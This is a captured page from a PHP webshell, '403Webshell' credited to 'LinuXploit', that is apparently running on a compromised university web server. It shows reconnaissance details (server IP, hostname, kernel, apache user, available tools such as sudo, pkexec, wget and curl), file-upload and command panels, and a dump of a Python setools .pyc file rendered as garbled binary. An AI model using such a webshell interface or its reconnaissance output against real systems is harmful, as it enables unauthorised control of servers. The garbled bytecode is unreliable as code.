403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/portcon.cpython-36.pyc
3

�^��@shddlmZddlmZddlmZddlmZmZedddd	g�Z	Gd
d�de�Z
Gdd
�d
e�ZdS)�)�
namedtuple�)�ContextWrapper)�DiffResultDescriptor)�
Difference�WrapperZmodified_portconZruleZ
added_contextZremoved_contextc@s8eZdZdZed�Zed�Zed�Zdd�Zdd�Z	dS)�PortconsDifferencez:Determine the difference in portcons between two policies.�
diff_portconscCs�|jjdj|��|jdd�|jj�D�dd�|jj�D��\|_|_}g|_	x<|D]4\}}t
|j�t
|j�krT|j	jt
||j|j��qTWdS)z9Generate the difference in portcons between the policies.zGGenerating portcon differences from {0.left_policy} to {0.right_policy}css|]}t|�VqdS)N)�PortconWrapper)�.0�n�r
�/usr/lib64/python3.6/portcon.py�	<genexpr>.sz3PortconsDifference.diff_portcons.<locals>.<genexpr>css|]}t|�VqdS)N)r
)rrr
r
rr/sN)�log�info�formatZ	_set_diffZleft_policyZportconsZright_policy�added_portcons�removed_portcons�modified_portconsr�context�append�modified_portcon_record)�selfZmatched_portconsZleft_portconZ
right_portconr
r
rr	's
 
z PortconsDifference.diff_portconscCs"|jjd�d|_d|_d|_dS)z%Reset diff results on policy changes.zResetting portcon differencesN)r�debugrrr)rr
r
r�_reset_diff>szPortconsDifference._reset_diffN)
�__name__�
__module__�__qualname__�__doc__rrrrr	rr
r
r
rrsrc@s4eZdZdZdZdd�Zdd�Zd	d
�Zdd�Zd
S)r
z*Wrap portcon statements for diff purposes.�protocol�low�highcCs*||_|j|_|j\|_|_t|�|_dS)N)�originr Zportsr!r"�hash�key)rZoconr
r
r�__init__LszPortconWrapper.__init__cCs|jS)N)r%)rr
r
r�__hash__RszPortconWrapper.__hash__cCs|j|jkS)N)r#)r�otherr
r
r�__lt__UszPortconWrapper.__lt__cCs$|j|jko"|j|jko"|j|jkS)N)r r!r")rr(r
r
r�__eq__XszPortconWrapper.__eq__N)r r!r")	rrrr�	__slots__r&r'r)r*r
r
r
rr
Fsr
N)�collectionsrrrZdescriptorsr�
differencerrrrr
r
r
r
r�<module>s'

Youez - 2016 - github.com/yon3zu
LinuXploit